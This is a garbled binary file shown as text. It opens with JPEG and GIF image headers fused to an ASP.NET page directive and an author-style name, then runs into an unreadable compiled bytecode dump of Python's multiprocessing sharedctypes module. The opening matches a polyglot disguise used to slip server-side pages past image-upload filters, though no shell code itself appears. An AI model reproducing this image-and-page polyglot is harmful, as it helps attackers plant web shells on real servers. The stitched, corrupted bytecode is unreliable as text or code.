ÿØÿà JFIF    ÿÛ C     $.' ",#(7),01444'9=82<.342ÿÛ C  2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon
 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- F\hlSSKrSSKrSSKJr SSKJr SSKJrJr \Rr /SQr \R\R\R\R\R\R \R"\R$\R&\R(\R*\R,\R.\R0S.rSrS rS rS SS .S jrS SS .SjrSrSSjr Sr!Sr"Sr#Sr$0r%\RL"5r'"SS\(5r)"SS\)5r*"SS\)5r+"SS\+5r,g)N)heap) get_context) reductionassert_spawning)RawValueRawArrayValueArraycopy synchronized)cubBhHiIlLqQfdcr[R"U5n[R"U5n[ XS5$N)ctypessizeofr BufferWrapper rebuild_ctype)type_sizewrappers 3/usr/lib/python3.13/multiprocessing/sharedctypes.py _new_valuer&'s- == D  &G  ..c[RX5n[U5n[R"[R "U5S[R "U55 UR"U6 U$)z6 Returns a ctypes object allocated from shared memory r)typecode_to_typegetr&rmemset addressofr__init__)typecode_or_typeargsr"objs r%rr,sT  !1 DE U C MM&""3'FMM#,>?LL$ Jr'cL[RX5n[U[5(aQX!-n[ U5n[ R "[ R"U5S[ R"U55 U$U[U5-n[ U5nUR"U6 U$)z5 Returns a ctypes array allocated from shared memory r) r)r* isinstanceintr&rr+r,rlenr-)r.size_or_initializerr"r0results r%r r 6s  !1 DE%s+++ f&&s+Q c0BC /00E",- r'T)lockctxc[U/UQ76nUSLaU$US;a#U=(d [5nUR5n[US5(d[ SU-5e[ XAUS9$)z. Return a synchronization wrapper for a Value FTNacquire%r has no method 'acquire'r8)rrRLockhasattrAttributeErrorr )r.r7r8r/r0s r%r r Fsj # +d +C u}  |"[]yy{ 4 # #9D@AA s ++r'c[X5nUSLaU$US;a#U=(d [5nUR5n[US5(d[ SU-5e[ XBUS9$)z1 Return a synchronization wrapper for a RawArray Fr:r;r<r=)r rr>r?r@r )r.r5r7r8r0s r%r r Tse # 9C u}  |"[]yy{ 4 # #9D@AA s ++r'c`[[U55nU[R"U5S'U$)Nr)r&typerpointer)r0new_objs r%r r bs(c#G!$FNN7A Nr'c[U[5(aS5eU=(d [5n[U[R5(a [ XU5$[U[R 5(a5UR[RLa [XU5$[XU5$[U5n[UnU"XU5$![ar URVs/sHoUSPM Os snfnnUVs0sHow[U5_M Os snfnnSUR -n [U [4U5=n[U'Nf=f)Nzobject already synchronizedr Synchronized)r2SynchronizedBaserr _SimpleCDatarGr _type_c_charSynchronizedStringSynchronizedArrayrC class_cacheKeyError_fields_ make_property__name__) r0r7r8clssclsfieldnamesnamer classnames r%r r gs$#/00O2OO 0 C#v**++Cs++ C & & :: &%c5 5 C003i Ns#D Cs##  N+.<<8<%1X<8E87<=ut}T**u=A=&5I&*97G6I1&M MD;s#  Ns*; C E %C43 E ?D2E E c[U5 [U[R5(a)[UR UR UR44$[[U5UR S44$r) rr2rr r!rJ_wrapper_length_rC)r0s r% reduce_ctyper\sSC#v||$$szz3<<FFFtCy#,,===r'cUbX-n[RU[5 UR5nUR U5nXlU$r)_ForkingPicklerregisterr\create_memoryview from_bufferrZ)r"r$lengthbufr0s r%r!r!sG UL1  # # %C   C CL Jr'c[U$![a+ 0n[[U4S--U5 X[U'Xs$f=f)N) prop_cacherOexectemplate)rWrs r%rQrQsN$   X$ #Q'7 4w s 2AAz def get%s(self): self.acquire() try: return self._obj.%s finally: self.release() def set%s(self, value): self.acquire() try: self._obj.%s = value finally: self.release() %s = property(get%s, set%s) cB\rSrSrS SjrSrSrSrSrSr S r S r g) rHNcXlU(aX lO'U=(d [SS9nUR5UlURRUlURR Ulg)NT)force)_obj_lockrr>r;release)selfr0r7r8s r%r-SynchronizedBase.__init__sM J040CDJzz)) zz)) r'c6URR5$r)rn __enter__rps r%rsSynchronizedBase.__enter__szz##%%r'c4URR"U6$r)rn__exit__)rpr/s r%rwSynchronizedBase.__exit__szz""D))r'cT[U5 [URUR44$r)rr rmrnrts r% __reduce__SynchronizedBase.__reduce__s"dii444r'cUR$rrmrts r%get_objSynchronizedBase.get_objs yyr'cUR$r)rnrts r%get_lockSynchronizedBase.get_locks zzr'cRS[U5R<SUR<S3$)N)rCrRrmrts r%__repr__SynchronizedBase.__repr__s(,T (;(;TYYGGr')rnrmr;roNN) rR __module__ __qualname____firstlineno__r-rsrwrzr~rr__static_attributes__r'r%rHrHs&*&*5Hr'rHc$\rSrSr\"S5rSrg)rGvaluerN)rRrrrrQrrrr'r%rGrGs ' "Er'rGc2\rSrSrSrSrSrSrSrSr g) rMc,[UR5$r)r4rmrts r%__len__SynchronizedArray.__len__s499~r'cZU URUsSSS5 $!,(df  g=frr})rprs r% __getitem__SynchronizedArray.__getitem__s 99Q<TTs *cXU X RU'SSS5 g!,(df  g=frr})rprrs r% __setitem__SynchronizedArray.__setitem__s  IIaLTTs )cXU URXsSSS5 $!,(df  g=frr})rpstartstops r% __getslice__SynchronizedArray.__getslice__s 99U(TTs )cVU X0RX&SSS5 g!,(df  g=frr})rprrvaluess r% __setslice__SynchronizedArray.__setslice__s $*IIe !TTs (rN) rRrrrrrrrrrrr'r%rMrMs !)+r'rMc4\rSrSr\"S5r\"S5rSrg)rLrrawrN)rRrrrrQrrrrr'r%rLrLs ' "E  Cr'rLr)-rweakrefrrcontextrrForkingPicklerr^__all__rKc_wcharc_bytec_ubytec_shortc_ushortc_intc_uintc_longc_ulong c_longlong c_ulonglongc_floatc_doubler)r&rr r r r r r\r!rQrhrfWeakKeyDictionaryrNobjectrHrGrMrLrr'r%rs!/** L        !3!3 /  )-$ ,:>4 , $2>   '') HvH@###+(+,*r'